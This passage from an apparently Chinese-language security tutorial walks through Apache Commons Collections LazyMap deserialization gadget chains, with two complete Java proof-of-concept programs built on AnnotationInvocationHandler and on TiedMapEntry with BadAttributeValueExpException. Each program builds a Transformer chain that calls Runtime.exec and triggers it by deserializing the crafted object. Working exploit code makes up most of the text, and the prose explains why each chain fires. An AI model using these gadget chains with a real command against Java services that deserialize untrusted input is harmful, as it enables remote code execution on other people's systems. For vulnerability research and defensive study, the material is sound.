import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        System.out.println(String.class.isInstance(""));
        // 利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("input", 1);
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 构建对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);  // 代理对象
        handler = (InvocationHandler) constructor.newInstance(Action.class, proxyMap);  // 包裹


        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(handler);
        objectOutputStream.close();
        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

        // 反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();


    }
}

image-20210803171804619

LazyMap利用链补充

上面的利用链受限于jdk1.7版本,我们来看一看另外一种利用方式,这条利用链不是用动态代理的方式触发了

从上一条利用链我们已经知道LazyMap类的get方法中调用了transform方法,那么除了AnnotationInvocationHandlerinvoke方法中调用了get方法外,还有没有其他的地方也调用了get方法呢?当然有,TiedMapEntry类的getValue方法也调用了get方法

image-20210805154602919

而且this.map我们也可以控制,但是我们最终要找的还是readObject方法中的触发点,所以继续网上找,看看哪里调用了TiedMapEntrygetValue方法,找到TiedMapEntry类的toString方法:

public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

toString方法在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用,所以,现在我们找找TiedMapEntry的对象当做字符串处理的地方,找到了BadAttributeValueExpExceptionreadObject方法中有相关调用:

image-20210805155221856

可以看到第三个if分支里调用了valObj.toString(),而valObj=gf.get("val", null),这里其实就是读取传过来对象的val属性值,所以,只要我们控制BadAttributeValueExpException对象的val属性的值为我们精心构造的TiedMapEntry对象就行。所以,就有了下面的poc:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.ws.Action;
import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;

public class App {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
        System.out.println(String.class.isInstance(""));
        // 利用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("123", 1);
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        // 将lazyMap封装到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "456");
        // 通过反射给badAttributeValueExpException的val属性赋值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();
        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));

        // 模拟目标进行反序列化
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();


    }
}

image-20210805173302511

参考

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2021-12-25 18:52:00

results matching ""

    No results matching ""